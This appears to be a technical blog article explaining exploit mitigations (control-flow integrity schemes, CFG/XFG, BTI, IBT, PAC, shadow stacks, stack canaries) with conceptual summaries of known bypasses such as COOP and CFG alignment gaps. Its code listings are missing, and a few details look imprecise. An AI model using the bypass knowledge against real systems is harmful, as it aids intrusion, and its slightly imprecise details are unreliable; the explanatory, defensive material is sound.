After the introduction of ASLR, the advancement in mitigations against memory corruption has been impeded due to the implementation of sufficient mitigations across all platforms in the early 2000s. However, over time, offensive researchers have continuously presented bypasses and limitations of these initial generation mitigation techniques. Some of the primary limitations that persist include

• the presence of ROP, JOP, or any form of code reuse attacks, even with the incorporation of most of the aforementioned techniques.
• indirect function pointers remain unsecured
• heap-based memory corruption can still result in code execution.

These challenges have prompted the security industry to shift its focus towards mitigations that play a crucial role in preventing the exploitation of memory corruption, rather than solely detecting or preventing the corruption itself. This is particularly important in scenarios where the first generation techniques fail, whether due to the aforementioned issues or any other reasons.

In response to these requirements, the security industry has primarily concentrated on the concept of CFI (Control Flow Integrity). CFI serves as the fundamental principle behind all second generation techniques, which will be discussed below.

Control Flow Integrity (CFI)

Control flow integrity based mitigation techniques are the one that mitigate the exploitation of memory corruption against arbitrary code execution that can happen due to cases like function pointer modification or virtual table pointer modification. Note that they don’t protect or detect the memory corruption itself rather than prevent its exploitation. From the name you can guess that it work to maintain the control flow integrity of program execution with one goal to prevent or detect any illegal branches or redirections. From the CFI wiki:

Attackers seek to inject code into a program to make use of its privileges or to extract data from its memory space. Before executable code is commonly made read-only, an attacker could arbitrarily change the code as it is run, targeting direct transfers or even do with no transfers at all. After W^X became widespread, an attacker wants to instead redirect execution to a separate, unprotected area containing the code to be run, making use of indirect transfers: one could overwrite the virtual table for a forward-edge attack or change the call stack for a backward-edge attack (return-oriented programming). CFI is designed to protect indirect transfers from going to unintended locations.

Let’s look at the below control flow diagram to understand it better:

For functions from A to D, the default and legal control flow / call graph looks something like above. With CFG in place, any illegal control transfer will be blocked or detected during runtime.

The CFI can be implemented for one of the following cases:

• Forward edge Integrity
• Backward edge integrity

Both can be explained using below code illustration:

For the above high level implementation, Forward edge integrity will take care that function f1 will only call f2 or f2 is only called from f1. Whereas Backward edge integrity will take care that ret or function exit from f2 will only return to f1. For a successful CFI, both forward and backward edges would need to be protected to maintain control flow integrity and prevent attackers from diverting the program's execution in any direction.

Initial CFI implementations

In early stage CFI implementations like CCFIR and bin-CFI, Every instruction that is the target of a legitimate control-flow transfer is assigned a unique identifier (ID), and checks are inserted before control-flow instructions to ensure that only valid targets are allowed. Direct transfers have a fixed target and they do not require any enforcement checks. However, indirect transfers, like function calls and returns, and indirect jumps, take a dynamic target address as argument. As the target address could be controlled by an attacker due to a vulnerability, CFI checks to ensure that its ID matches the list of known and allowable target IDs of the instruction. The implementation can be understood better using below control flow graph:

CFI introduces labels and checks for all indirect transfers. Control-flow transfers checked by CFI are shown in solid lines.

Source: https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6956588

In the year 2005, the initial surface of CFI research became publicly accessible. Subsequently, numerous additional researchers emerged over the course of several years, presenting evidence of various forms of control flow integrity. However, the primary release of CFI that was readily accessible occurred in 2014 for both Windows and Linux operating systems, with both the compilers of Windows and Linux incorporating some level of support for CFI. In 2014, Linux implemented its first CFI implementation, drawing upon the research conducted by the Google team as outlined in their paper titled "Enforcing Forward-Edge Control-Flow Integrity in GCC & LLVM". Following suit, Windows also introduced CFI support in November 2014, referring to it as Control Flow Guard. Given that the Linux implementation gained public exposure first, let us delve into the CFI implementation within the Linux system.

Note: We will first go through forward edge CFI and then backward edge CFI

Forward edge CFI

Forward edge CFI in linux

In 2014, few google researchers have implemented the first practical CFI implementation. This particular implementation was employed internally in conjunction with Chromium and a select few other products, prior to its public release in August of that year. Consequently, this CFI implementation was integrated into both the GCC and LLVM compilers during the same aforementioned year. This initial work contain two different methods for CFI:

• VTV – Virtual table verification
• IFCC – Indirect function-call checks

Both methods have been implemented in order to enforce the integrity of forward edges and primarily focus on safeguarding against arbitrary code execution resulting from memory corruption in the heap. The authors have observed that, although the process stack has already been adequately protected through the implementation of multiple mitigation measures up until 2014, the heap area of the process remains susceptible to memory corruptions, which can lead to arbitrary code execution without any significant mitigations in place. This has served as a motivation for the authors to incorporate compiler-based mechanisms, with the aim of further enhancing the protection and integrity of program control data, with particular emphasis on the integrity of control-transfer data stored in the heap.

VTV - Virtual table verification

The goal of VTV is to protect virtual calls in C++. The motivation behind this mitigation is to protect common types of code hijacking that happen in C++ based memory implementation due to heap exploitations.

From the name, you can predict that VTV is use to provide integrity of vtables present in C++ code. Since most indirect calls in C++ are through vtable, this mitigation is well suited for programs written in C++. We are not going to look into details of Vtable modifications works, but let’s summarize it at high level:

The vtables themselves are placed in read-only memory, so they cannot be easily attacked. However, the objects making the calls are allocated on the heap. An attacker can make use of existing errors in the program, such as use-after-free, to overwrite the vtable pointer in the object and make it point to a vtable created by the attacker. The next time a virtual call is made through the object, it uses the attacker’s vtable and executes the attacker’s code.

To protect the above  scenario, VTV verifies the validity, at each call site, of the vtable pointer being used for the virtual call, before allowing the call to execute. In particular, it verifies that the vtable pointer about to be used is correct for the call site, i.e., that it points either to the vtable for the static type of the object, or to a vtable for one of its descendant classes. The compiler passes to the verifier function the vtable pointer from the object and the set of valid vtable pointers for the call site. If the pointer from the object is in the valid set, then it gets returned and used. Otherwise, the verification function calls a failure function, which normally reports an error and aborts execution immediately.

VTV has two pieces: the main compiler part, and a runtime library (libvtv), both of which are part of GCC. In addition to inserting verification calls at each call site, the compiler collects class hierarchy and vtable information during compilation, and uses it to generate function calls into libvtv, which will (at runtime) build the complete sets of valid vtable pointers for each polymorphic class in the program.

To keep track of static types of objects and to find sets of vtable pointers, VTV creates a special set of variables called vtable-map variables (read only), one for each polymorphic class. At runtime, a vtable-map variable will point to the set of valid vtable pointers for its associated class. When VTV inserts a verification call, it passes in the appropriate vtable-map variable for the static type of the object, which points to the set to use for verification.

VTV in action

Consider the following program:

To use compile binary with VTV enable through clang use the following command:

After compiling let’s compare the code difference with and without the CFI-VTV enabled.

Before:

After:

In the second image you will notice that before calling a1->getmass() (address [rax+8]), it is been verified if it is in the range of valid call site which is added during IR phase of compilation. The check can be explained in more details here: https://clang.llvm.org/docs/ControlFlowIntegrityDesign.html

IFCC: Indirect Function-Call Checks

Unlike VTV, IFCC mechanism protect integrity of all kinds of indirect calls. , it protects indirect calls by generating jump tables for indirect-call targets and adding code at indirect-call sites to transform function pointers, ensuring that they point to a jump-table entry. Any function pointer that does not point into the appropriate table is considered a CFI violation and will be forced into the right table by IFCC. The valid jump table entries are again created based on same function prototypes.

IFCC In action:

Let’s look at the following C program:

To compile the program with IFCC, use the following command:

Let’s compare the assembly sequence of both cases in IDA:

Before

After:

In the second case where IFCC is enabled, before calling add through operation (call rax), the address is first verified if matches the address in the jmp table ( mov rcx, offset add and cmp rax, rcx) or not. Since we only have 1 address in the jump table, the check is straight forward but in case of multiple entries, you will see ror (rotate) instruction to verify if the jump index is within range.

Other CFI support in clang:

Clang also support few other schemes that enhance the overall CFI mitigation. These schemes mostly rely on verifying function prototype before jumping to that location. Listed in detail below.

-fsanitize=cfi-cast-strict - If a class has a single non-virtual base and does not introduce or override virtual member functions or fields other than an implicitly defined virtual destructor, it will have the same layout and virtual function semantics as its base. By default, casts to such classes are checked as if they were made to the least derived such class.

-fsanitize=cfi-derived-cast and -fsanitize=cfi-unrelated-cast - These scheme checks that pointer casts are made to an object of the correct dynamic type; that is, the dynamic type of the object must be a derived class of the pointee type of the cast. The checks are currently only introduced where the class being casted to is a polymorphic class. First one is bad casts from a base class to a derived class and 2nd one is bad casts from a pointer of type void* or another unrelated type.

-fsanitize=cfi-nvcall - This scheme checks that non-virtual calls take place using an object of the correct dynamic type; that is, the dynamic type of the called object must be a derived class of the static type of the object used to make the call.

-fsanitize=cfi-mfcall - This scheme checks that indirect calls via a member function pointer take place using an object of the correct dynamic type. Specifically, we check that the dynamic type of the member function referenced by the member function pointer matches the “function pointer” part of the member function pointer, and that the member function’s class type is related to the base type of the member function.

To compile the code with all the CFI mitigation in place, you can use following flag: -fsanitize=cfi

Resources:

https://clang.llvm.org/docs/ControlFlowIntegrity.html

CFI in linux kernel

Forward edge CFI was first introduced in android linux kernel upstream in 2018 which was later added in linux kernel upstream in 2021. The first implementation has support for IFCC from CLANG in linux kernel. It can be controlled using CONFIG_CFI_CLANG and once set the compiler injects a runtime check before each indirect function call to ensure the target is a valid function with the correct static type. With CFI enabled, the compiler injects a __cfi_check() function into the kernel and each module for validating local call targets. Similar to what we seen in IFCC, during linux kernel compilation clang implements indirect call checking using jump tables and offers two methods of generating them. With canonical jump tables, the compiler renames each address-taken function to <function>.cfi and points the original symbol to a jump table entry, which passes __cfi_check() validation.

You can check the PR here: https://github.com/torvalds/linux/commit/cf68fffb66d60d96209446bfc4a15291dc5a5d41

kCFI – The fine grained CFI scheme for linux kernel

In 2022 kernel version 6.1.X, linux have merged a new patch for CFI called kCFI which is a fine grained CFI scheme that overcomes almost all the major issues and limitations of earlier CFI implementation from CLANG. kCFI’s main goal is to improve fine grained CFI scheme for indirect call redirection issues in linux kernel. It is totally dependent on instrumentation, and requires no runtime component. This decreases the overhead that is usually seen with most CFI based implementations. kCFI provides both forward edges as well as backward edge but we will only look at examples of forward edge CFI below. But the backward edge (return guard) is implemented in a similar way. kCFI over-approximates the call graph by considering valid targets for an indirect call all those functions that have a matching prototype with the pointer used in the indirect call.

Let’s go through the original LLVM-CFI issues one by one that kCFI overcome for linux kernel:

• Limitation 1: Performance bottleneck due to jump table based CFI implementation

Jump table based IFCC implementation comes with significant performance overhead when running in linux kernel. kCFI overcomes this by having tag based assertions. Tag based CFI check can be understood with following example:

Unlike LLVM CFI, kCFI adds tags using long nop instructions and verify them before the call to an indirect function. In above snippet, prologue func has an entry-point tag that is verified at call site (b) using cmpl instruction(since rax will have the address of func). this snippet dereferences 0x4(%rax) and compares the result with the expected ID (0xbcbee9; line 2). If the two IDs match, the control jumps to the callq instruction and the indirect invocation of func takes place (lines 3 and 7); else, the bogus branch address is pushed onto the stack and kcfi_vhndl (violation handler) is invoked (lines 4–6).

• Limitation 2:  There exist a vast multitude of kernel functions that possess a similar prototype, such as void foo(void), which renders them eligible as CFI targets for one another.

To reduce similar valid call site jumps, kCFI introduced call graph detaching. It can be understood using below example:

In the above code function B and C have same tag due to similar prototype, so does A due to direct call to B. In such case C is allowed to return to A even through it’s not legal. This creates a situation where transitively all instructions after a direct call to a function become valid return points to other functions with a similar prototype. This makes CFI prone to something called a bending attack.

To mitigate this problem, kCFI follows a novel approach by cloning functions instead of merging all valid return targets. In this way, a function named foo() is cloned into a new function called foo_direct(), which has the same semantics but checks for a different tag before returning. All direct calls to foo() are then replaced by calls to foo_direct(), and the tag placed after the call site is the one that corresponds to foo_direct(). This can be understood more easily with below illustration:

In the updated code with CGD in place, you will see A calling B_clone (having different tag) rather than B. Now, C will not be able to return to A due to tag mismatch.

• Limitation 3: Support for self-modifying code and LKMs

By employing tag-based assertions, kCFI supports self-modifying code and LKMs, as long as these portions of code are compiled in a compatible way.

• Limitation 4: Support for inline assemble code

One of the drawbacks of using LLVM-based instrumentation is that assembly sources are not touched, as this kind of code is directly translated into binaries without having an intermediate representation (IR) form. The kernel has a significant part of its code written in assembly, which includes many indirect branches. While applying CFI, if such code is left unprocessed, two major problems arise: (i) indirect branches in assembly sources are left unprotected, and (ii) tags are not placed, breaking compatibility with C functions returning to assembly, or with assembly functions being called indirectly from C code. kCFI tackles this problem through the automatic rewriting of the assembly sources assisted by information extracted during code and binary analysis.

Resources:

You can check the changelog of patch here: https://github.com/torvalds/linux/commit/865dad2022c52ac6c5c9a87c5cec78a69f633fb6

You can read about kCFI here: https://www.blackhat.com/docs/asia-17/materials/asia-17-Moreira-Drop-The-Rop-Fine-Grained-Control-Flow-Integrity-For-The-Linux-Kernel-wp.pdf

CFG (Control flow guard):

Unlike other mitigation techniques that gained popularity for their implementation in Linux, CFI gained popularity for its implementation in Windows in 2014 (in Windows 8.1). It was later removed but was reintroduced with changes in the Windows 10 Anniversary update 14393. While Windows's CFG initially received significant attention upon its release, it is limited in terms of capabilities and coverage compared to CLANG's CFI implementation. Additionally, it has faced considerable criticism due to the constant discovery of bypasses by security researchers.

Sole focus of CFG is to protect the integrity of indirect function calls in a somewhat similar way as IFCC. Let’s look at the internal details of how the CFG is implemented in windows.

CFG Internals

If the /cfguard flag is used with the msvc compiler (Visual Studio compiler), it will enable CFG when compiling the binary. The resulting binary will include a data directory called Load Configuration directory, which contains the CFG configuration details for the binary. Load Configuration directory have a structure which have few fields that are important for CFG implementation:

GuardFlags have the flags related to CFG which define what CFG mitigations are set in binary. The structure looks like below:

Functions that are valid indirect call targets are listed in the GuardCFFunctionTable, sometimes termed the GFIDS table. This is a sorted list of relative virtual addresses (RVA) that contain information about valid CFG call targets. There are two other function pointer with following usecase:

GuardCFCheckFunctionPointer provides the address of an OS-loader provided symbol that can be called with a function pointer in the first integer argument register (ECX on x86) which will return on success or will abort the process if the call target is not a valid CFG target.

The GuardCFDispatchFunctionPointer provides the address of an OS-loader provided symbol that takes a call target in register RAX and performs a combined CFG check and tail branch optimized call to the call target (registers R10/R11 are reserved for use by the GuardCFDispatchFunctionPointer and integer argument registers are reserved for use by the ultimate call target).

In addition to possessing a specific header for CFG, Windows executes two additional tasks in order to enable CFG for a binary:

• Instrument around all indirect call with _guard_check_icall check.
• Mapping CFG bitmap in process memory space during Process initialization

__guard_dispatch_icall_fptr check

CFG when enabled, msvc compiler will wrap all the indirect calls in a given binary by a call to __guard_dispatch_icall_fptr (Guard CF address dispatch-function pointer) which ensure the target address is valid. The wrapper function _guard_dispatch_icall_fptr is actually a placeholder at compile-time and will be patched by the NT loader on module loading to point to LdrpValidateUserCallTarget to do the actual check. We will look into the call in the next section for better understanding.

CFG Bitmap

The NT loader will, on a module load (see ntdll!LdrSystemDllInitBlock ), parse the Load Configuration entry to look for CFG aware capabilities and, if enabled, will generate a CFG bitmap storing all the valid targets address from the CFG whitelist in the module. __guard_dispatch_icall_fptr calls ntdll!LdrpValidateUserCallTarget which during execution verifies the call to be valid using CFG Bitmap loaded in memory.

CFGBitmap represents the starting location of all the functions in the process space. The status of every 8 bytes in the process space corresponds to a bit in CFGBitmap. If there is a function starting address in each group of 8 bytes, the corresponding bit in CFGBitmap is set to 1; otherwise it is set to 0.

Let’s take the function target address to be 0x00b01030. The address is used to get the bit in Bitmap and verified if is 1 or 0.

The highest 3 bytes (the 24 bits encircled in blue) is the offset for CFGBitmap (unit is 4 bytes/32 bits). In this example, the highest three bytes are equal to 0xb010.Therefore, the pointer to a four byte unit in CFGBitmap is the base address ofCFGBitmap plus 0xb010.

Meanwhile, the fourth bit to the eighth bit (the five bits encircled in red) have the value X. If the target address is aligned with 0x10 (target address & 0xf == 0), then X is the bit offset value within the unit. If the target address is not aligned with 0x10(target address & 0xf != 0), the X | 0x1 is the bit offset value. If the bit is equal to 1, it means the indirect call target is valid because it is a function’s starting address. If the bit is 0, it means the indirect call target is invalid because it is not a function’s starting address.

CFG in Action

Let’s compile the following program with CFG enable to check the modifications in binary due to CFG.

You can turn on CFG using following visual studio configuration options

Once the binary is compiled, you can load it in PEBear to verify it has a Load Configuration data directory.

Now, let’s load the binary in IDA and look at the changes.

Before

After:

You can notice that the indirect call ( call rsp+68h+operation) gets replaced with call to _guard_dispatch_icall_fptr. The calling address is passed using rax register and variables are passed using the default calling convention rcx, rdx…

The code for verifying the call target using bitmap is present in ntdll:

If the check fails, the execution get stopped.

Resources

http://sjc1-te-ftp.trendmicro.com/assets/wp/exploring-control-flow-guard-in-windows10.pdf

https://lucasg.github.io/2017/02/05/Control-Flow-Guard/

https://learn.microsoft.com/en-us/windows/win32/secbp/pe-metadata

XFG (extended flow guard) (Honorable mention)

Due to coarse gain nature of CFG where attacker can still call the gadgets part of valid call sites, Windows developer’s decided to come up with a fine grained solution on top of CFG

XFG adds a check on top of default CFG which verifies if the caller who called the call site is correct or not. To perform this, the compiler will generate a 55-bit hash based on the function name, number of arguments, the type of arguments, and the return type. This hash will be embedded in the code just prior to the call into XFG. Later inside LdrpDispatchUserCallTargetXFG the value is matched to be the same or not.

At the caller you will see something like below:

mov at main+2f moves the generated hash to r10. Inside _guard_xfg_dispatch_icall_fptr you will see the following:

The hash value (present in r10) is compared against the original generated value [rax-8] at the end of the function before calling the actual target.

Hardware enforced CFI mitigations

CFI mitigation gained rapid popularity following its initial integration into major platforms. However, both mitigations are disabled by default in all compilers due to the increased performance overhead. At this juncture, hardware vendors have taken it upon themselves to ensure that CFI is readily accessible. Intel and ARM both has introduced similar kind of mitigation for forward edge integrity, explained below.

BTI (branch target identification)

In the year 2018, ARM unveiled the initial hardware-enforced forward edge CFI within the ARM 8.5-A processor lineage, which was named BTI (Branch target identification). The primary objective of BTI is to forestall indirect calls from redirecting to unintended destinations, thus hindering the execution of gadgets.

BTI technical details

BTI is straightforward in terms of its implementation. If BTI is enabled, the first instruction encountered after an indirect jump must be a special BTI instruction. When BTI is turn off, this first instruction will be treated as no-op. When BTI is on, the processor check if the BTI instruction is present as the first instruction or not. Jumps to locations that do not feature a BTI instruction, instead, will lead to the quick death of the process involved.

During branching, the type of branch is stored in the PSTATE BTYPE bits. Upon reaching the destination address, the processor checks whether the first instruction is BTI or not and verifies if the value passed as operand of BTI instruction matches with PSTATE BTYPE or not.

BTI in action

Let’s compile following program to test BTI compiled code.

Compile the program with the following parameters in ARM gcc.

check the compiled code

You will notice the first instruction to be replaced as BTI in above assembly snippet. The syntax for BTI is

BTI <branch type>

There are 3 variants of the BTI instruction, which are valid targets for different kinds or branches: -

• c -Branch Target Identification for function calls
• j - Branch Target Identification for jumps
• jc - Branch Target Identification for function calls or jumps.

In our case the value is BTI c since add and sub are called as indirect function calls.

IBT (Indirect Branch Tracking)

In the year 2020, Intel unveiled the particulars of the introduction of a hardware security measure called CET for Intel TigerLake processors, which became accessible to the publically in 2021. Intel CET encompasses two hardware-enforced measures referred to as Shadow stack and IBT (Indirect branch tracking). IBT represents one of the methods employed to mitigate the issue of forward edge CFI.

Similar to BTI, if IBT is enabled, the CPU will ensure that every indirect branch lands on a special instruction ( endbr32 or endbr64), which executes as a no-op. If processor finds any other instruction than the expected endbr, it will raise a control-protection (#CP) exception. The state of IBT can be understood using following state machine:

The processor implements a state machine that tracks indirect JMP and CALL instructions. When one of these instructions is seen, the state machine moves from IDLE to WAIT_​FOR_​ENDBRANCH state. In WAIT_​FOR_​ENDBRANCH state the next instruction in the program stream must be an ENDBRANCH. If an ENDBRANCH is not seen the processor causes a control protection fault (#CP), otherwise the state machine moves back to IDLE state.

IBT in action

Let’s compile the same program we used for BTI for IBT:

You will notice following calls:

Here, the first instruction is  endbr64 in all indirect calls.

In windows, you can compile binary with IBT by using the following flag in visual studio /CETCOMPAT.

FineIBT (Honorable mention)

The default IBT implementation came with the drawback of allowing Code reuse of functions that are part of the Indirect branch target to be used as gadgets. To overcome this IBT limitation, In 2021 Intel's Joao Moreira raised patches for linux kernel which was later merged in linux kernel in 2022 https://github.com/torvalds/linux/commit/931ab63664f02b17d2213ef36b83e1e50190a0aa.

Under IBT, an attacker who is able to tamper with forward-edge transfers can still “bend” the control flow towards any of the valid/allowed function-entry points marked with endbr, because the CPU cannot differentiate among different types of endbr-marked code locations. To make a robust CFI solution using hardware assisted IBT, FineIBT instruments both the callers and the callees involved in indirect forward-edge transfers and verify if the correct callee is called from a given caller. The instrumentation can be understood using the following assembly snippet.

With FineIBT in place, before each indirect calls compiler instrument a code to move a random SID to any general purpose register (eax in above case) and on callee (func0), we verify if the value in %eax is matched or not using sub instruction at line 10. For all direct calls to any indirect function target, we create a clone of the original function (func1_entry) and call that rather than the original function.

Currently the technique is only supported in linux kernel.

Limitation of CFI – Forward edge

Over the years, numerous researchers surfaced that bypasses CFI completely or at a certain level. We will go through some well known cases below.

LLVM CFI limitations

Performance penalty:

Due to the inclusion of additional verification instructions and the incorporation of a runtime library, the performance of VTV can be affected, with a range of impact varying from 2% to 20% depending on how the application has been implemented i.e more virtual functions brings more performance impact.

The performance of IFCC is contingent upon the number of indirect calls executed by a program. In the majority of programs, the penalty incurred is less than 4%.

Limitation in capability:

The CFI present in CLANG is still not capable of protecting control flow divergence using CRA(Code reuse attack) based on backward edges i.e Return oriented programming.

Note: Initial stage CFI implementation bypass research which is based on finding gadget on allowed targets using ROP: https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6956588

Code reuse attack for forward edge

Even though CFI’s main goal is to protect Code reuse attack like ROP, there are certain type of CRA introduced over years to defeat existing CFI implementation. One such research mentioned below:

COOP - Counterfeit Object-Oriented Programming is a code reuse attack approach targeting applications developed in C++ or possibly other object-oriented languages. At high level, it relies on finding protected targets in the application binary which can legitimately be called and doesn’t cause CFI violation.

COOP, virtual functions existing in an application are repeatedly invoked on counterfeit C++ objects carefully arranged by the attacker. Counterfeit objects are not created by the target application, but are injected in bulk by the attacker.

To understand in more details, COOP relies on existing virtual function reuse called “vfgadgets”. Vfgadgets flow can be understood using below image:

Once an attacker is able to control the vptr, it will redirect the execution to Main loop vfgadget which executes in loop. From this main loop gadget, the attacker invoke the actual vfgadget that are injected on process memory as payload.

COOP can be use to bypass most CFI implementation besides LLVM or GCC VTV and SafeDispatch.

Image source: https://www.youtube.com/watch?v=NDt7Tholxp4

You can read more about the attack here: https://ieeexplore.ieee.org/document/7163058

Limitation in linux kernel:

For linux kernel the earlier default CFI implementation that was similar to CFI-CLANG was less powerful since even though the CFI reduce the attack surface to limited call sites, in linux kernel most function have prototype of void foo(void)

Limitation of CFG

Windows implementation of CFI named Control flow guard has two implementation limitations about requirement of ASLR and alignment of guard functions. If a binary doesn’t support ASLR then CFG cannot be implemented in the following binary due to the fact that CFG relies on ASLR to work properly.

Besides that, CFG requires all guard functions to be aligned to 0x10. If the function call is not aligned to 0x10, it will use an odd bit only. This allows untrusted function call near trusted function call. In detail: CFG is able to precisely mark a valid target only if it is the only target in its address range and it is 16-byte aligned. In that case, the state will be 10. However,if a target is not aligned, or there are multiple targets in the same range, then the state will have to be set to 11, which allows branches to any address in the range. In other words,we can freely alter the lower 4 bits of a valid unaligned target and the result will still be a valid target. This enables us to reach code located near an unaligned function’s entry point, which leads to interesting code sequences. You can read more about it here: https://www.ndss-symposium.org/wp-content/uploads/2018/02/ndss2018_05A-3_Biondo_paper.pdf

Unsupported module presence in process

CFG depends on compile and link level processing. As a result, third party modules and even old versions of MS binaries are not safeguarded by CFG. Furthermore, if the main executable image is not designed for CFG, CFG will be entirely disabled during the process, even if it loads system modules that do support CFG.

JIT code bypass

CFG doesn’t support JIT generated code. It can contain unprotected code and all corresponding bits in the CFG Bitmap are set.

More details here: https://www.blackhat.com/docs/us-15/materials/us-15-Zhang-Bypass-Control-Flow-Guard-Comprehensively-wp.pdf

CFI (Backward edge Integrity)

To ensure the effectiveness of CFI in various situations, hardware manufacturers have implemented several CFI backward edge techniques that closely resemble the workings of many first-generation techniques but rely heavily on hardware. However, the initial significant advancement in backward edge was introduced as a software solution in clang in 2014, which we will examine first.

SafeStack

The initial implementation of protection for backward edges was presented in a research paper published in 2014, which focused on Code Pointer Integrity (CPI). The paper also discussed SafeStack, a key element of Code Pointer Separation that provides defense for both return addresses and local variables. This protective measure was first introduced in clang 3.8 in the same year and continues to be utilized to this day.

Introduction to CPI

CPI fully protects the program against all control-flow hijack attacks that exploit program memory bugs. In a nutshell, it protect all types of code pointer (backward or forward edge) i.e it guarantees the integrity of all code pointers in a program (e.g., function pointers, saved return addresses) and thereby prevents all control-flow hijack attacks, including return-oriented programming.

The key idea behind CPI  is to split process memory into a safe region and a regular region. CPI uses static analysis to identify the set of memory objects that must be protected in order to guarantee memory safety for code pointers. This set includes all memory objects that contain code pointers and all data pointers used to access code pointers indirectly. All objects in the set are then stored in the safe region, and the region is isolated from the rest of the address space (e.g., via hard-ware protection). The safe region can only be accessed via memory operations that are proven at compile time to be safe or that are safety-checked at runtime.

Safe Stack technical details

Safe stack is to protect the return address. It does that by placing all proven-safe objects(return address and local variables) onto a safe stack located in the safe region. The safe stack can be accessed without any checks.

The safe stack mechanism consists of a static analysis pass, an instrumentation pass, and runtime support. The analysis pass identifies, for every function, which objects in its stack frame are guaranteed to be accessed safely and can thus be placed on the safe stack; return addresses and spilled registers always satisfy this criterion. For the objects that do not satisfy this criterion, the instrumentation pass inserts code that allocates a stack frame for these objects on the regular stack.

Safe Stack in action

Let’s compile our above mentioned standard program with safe stack protection on. You can compile file with clang and pass -fsanitize=safe-stack flag.

You will see some instrumentation added to the program function.

Before:

After:

Resources:

You can read more about SafeStack and CPI here: https://dslab.epfl.ch/pubs/cpi.pdf.

TODO: Add safestack bypasses section

PAC (Pointer authentication code)

ARM has the distinction of introducing Pointer authentication, the first technique for backward edge, which was introduced in ARM v8.3 architecture that was released in late 2016. Subsequently, support for PA was added in gcc in 2017 (v7) and in the Linux kernel in 2018.

Pointer authentication not only focuses on protecting backward edges, but is also effective in scenarios involving modifications of all types of pointers, such as function or data pointer validations. However, it is most commonly used by compilers to protect backward edges, specifically return addresses.

Pointer authentication technical details

From the title, you can anticipate the purpose of pointer authentication, which is to verify whether a pointer is valid or not before utilizing it. ARM incorporates a PAC (Pointer Authentication Code) into every pointer that needs protection prior to storing it in memory, and confirms its integrity before using it. This PAC is stored in the top byte ignore bits (usually the 48th to 64th bit if Tagging is deactivated) of the virtual address space in ARM. In order to alter a protected pointer, an attacker would need to discover or guess the correct PAC in order to gain control over the program's flow.

ARM uses a key generated for specific context to create PAC. The pointer authentication specification defines five keys: two for instruction pointers, two for data pointers and one for a separate general-purpose instruction for computing a MAC over longer sequences of data. The instruction encoding determines which key to use. For protection of key, it is stored in internal registers and are not accessible by EL0 (user mode), but otherwise are not tied to exception levels. Whenever a process is created, the kernel(running in EL1) will generate a random key and store it in that process's context; the process will then be able to use that key to sign and authenticate pointers, but it cannot read the key itself.

Generation and use of PAC is handled by two set of instructions: PAC* and AUT*. PAC* is used to compute and add PAC and AUT* is used for verifying the PAC. To generate PAC three values are used, the pointer itself, a secret key hidden in the process context, and a third value like the current stack pointer passed through a cipher called QARMA. PAC is the truncate output of the resulting cryptographic operation.

Implementation of PAC

PAC can be enabled in AARCH64 architecture using CONTROL.PAC_EN or CONTROL.UPAC_EN flags. The Pointer authentication flow can be understood using the diagram below.

Source: USENIX Security '19 - PAC it up: Towards Pointer Integrity using ARM Pointer Authentication

Pointer authentication in action:

Let’s compile our above program with Pointer authentication on. You can pass one of the following flag to gcc:

or

Let’s check the changes of main() function due to PAC after compilation:

You will see paciasp instruction at top which will generate PAC and store it in stack and rsp register. At the epilog of the program, autiasp will verify if the value of PAC in stack is similar to what is present in address top bytes or not. On difference, the program will crash.

Note: You will not see pointer authentication been used in add or subtract function since these function don’t have local variables.

Resources

https://www.qualcomm.com/content/dam/qcomm-martech/dm-assets/documents/pointer-auth-v7.pdf

https://community.arm.com/arm-community-blogs/b/architectures-and-processors-blog/posts/armv8-1-m-pointer-authentication-and-branch-target-identification-extension

Shadow stack

As part of CET, intel has introduced shadow stack (along with IBT) from Intel Tigerlake processor released in 2020. Shadow stack is used to protect backward edge (i.e return address modification).

A shadow stack is a secondary stack allocated from memory which cannot be directly modified by the process. When shadow stacks are enabled, control transfer instructions/flows such as near call, far call, call to interrupt/exception handlers, etc. store their return addresses to the shadow stack and the process stack.

The ret instruction pops the return address from both stacks and compares them.  In the event that the return addresses from the two stacks do not match, the processor will indicate a control protection exception (#CP).

The shadow stack is protected from tamper through the page table protections such that regular store instructions cannot modify the contents of the shadow stack. To provide this protection the page table protections are extended to support an additional attribute for pages to mark them as “Shadow Stack” pages.

Note: The idea of shadow stack originated from 2005 CFI research paper: https://dl.acm.org/doi/10.1145/1102120.1102165

Shadow stack in Linux - To compile binary with shadow stack support you can use -fcf-protection flag in both gcc and llvm. You will not see any instruction modification in CET compiled binary for shadow stack since it’s working is invisible from application.

Shadow stack in windows - In windows, you can use /CETCOMPAT flag in visual studio 2019+ to compile binary with shadow stack support. You can read about shadow stack windows implementation from windows-internals blog https://windows-internals.com/cet-on-windows/.

Note: Before introduction of Intel CET, Windows implemented software based shadow stack technology called Return flow guard in Windows 10 Redstone 2 14942. You can read about RFG here: https://xlab.tencent.com/en/2016/11/02/return-flow-guard/

TODO: Add details on Backward edge limitations

That's all about second generation mitigations. We will look at error detection tools in next section.

In this section we will go through the first generation techniques.

First generation mitigations ( The Titans)

The first generation's mitigations are focused on detecting or preventing memory corruptions caused in the program. Over course of years, the timeline of these mitigations looks something like this

Stack Guard

Stack guard, also referred to as Stack smashing protection, was initially introduced in 1997 as a notable defense mechanism against buffer overflow. This innovation was subsequently integrated into gcc 2.7 in the year 1998. The consumer market was first presented with this safeguard in the Immunix distribution during the same year.

The operating principle of stack guard involves adding a random 8 bytes data (called stack canaries) at the starting of the function stack frame. Upon the function's return, a comparison is made to ascertain whether the canary remains unchanged. In the event of an overflow, the canaries are also altered so as to modify the return address. Upon termination, if it is determined that the canary has been tampered, the program gets terminated.

Let’s take a look at the stack guard implementation in linux.

Stack canary implementation in Linux:

If you compile the above mentioned classic buffer overflow program in any linux distro with  parameter -fstack-protector and check the disassembly in IDA, you will see some canary specific check at starting of main function.

Here fs:[0x28] holds the random 8 byte stack guard value that has been saved to stack (showing as var_8) as the first thing. At the function epilog you will see the following instructions sequence.

Here the var_8 (which holds the canary value) is moved to rcx and subtracted fs:0x28 from it to check if it’s 0 or not. If it’s not zero, implies the canary value has been modified which cause execution of __stack_chk_fail, that will terminate the program execution.

Note: Use of fs segment in latest x86 linux: The %fs segment register is used to implement the thread pointer. The linear address of the thread pointer is stored at offset 0 relative to the %fs segment register.

On which functions gcc adds stack guards?

